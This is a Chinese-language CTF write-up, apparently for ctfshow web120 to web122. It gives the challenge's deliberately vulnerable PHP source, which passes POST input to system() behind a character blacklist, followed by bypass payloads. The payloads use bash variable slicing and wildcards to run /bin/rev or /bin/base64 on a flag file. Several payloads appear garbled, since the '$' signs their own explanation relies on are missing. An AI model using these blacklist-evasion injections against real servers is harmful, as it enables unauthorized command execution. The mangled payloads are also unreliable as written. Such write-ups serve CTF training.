php<?php error_reporting(0); highlight_file(__FILE__); if(isset($_POST['code'])){ $code=$_POST['code']; if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){ if(strlen($code)>65){ echo '<div align="center">'.'you are so long , I dont like '.'</div>'; } else{ echo '<div align="center">'.system($code).'</div>'; } } else{ echo '<div align="center">evil input</div>'; } } ?>
使用上一题的payload即可 知识改为了POST 一个道理
web121
这次可以用/bin/rev读取,rev命令可以实现文件文本行,或字符串的反序显示。那么需要获取/和r字符,或者 v。
构造/???/??v:
code={PWD::{#?}}???{PWD::{#?}}??{PWD:{#?}:${#?}} ????.???
code={PWD::{##}}???{PWD::{##}}??{PWD:{##}:${##}} ????.???
构造/???/r??:
code={PWD::{##}}???{PWD::{##}}{PWD:{#IFS}:${##}}?? ????.???
web122
解答:这次PWD被过滤了,但是HOME可以用了。
1)/可以通过HOME获取,需要数字1,但是#被过滤了。
$?是表示上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误。一部分命令失败会返回1,也有一些命令返回其他值,表示不同类型的错误,比如Command not found返回127。
为了能够让$?可以输出1,那么就需要让前一条命令是错误的,这个错误命令的返回值是1,可以用<A。
这里要说一下,我看有一些wp写的$?返回值的内容是linux的error
code,并不是,<A提示的错误是no such file or dictionary,它对应的error code 是2,但是$?的结果是1。
------$?返回数据具体都有什么,这个我没有查到。
2)这次可以用命令/bin/base64。因为,${RANDOM}可以出现4或5,可以构造/???/?????4。需要多试几次才能拿到flag。
payload:code=<A;{HOME::?}???{HOME::?}?????{RANDOM::?} ????.???
多刷新几次
解码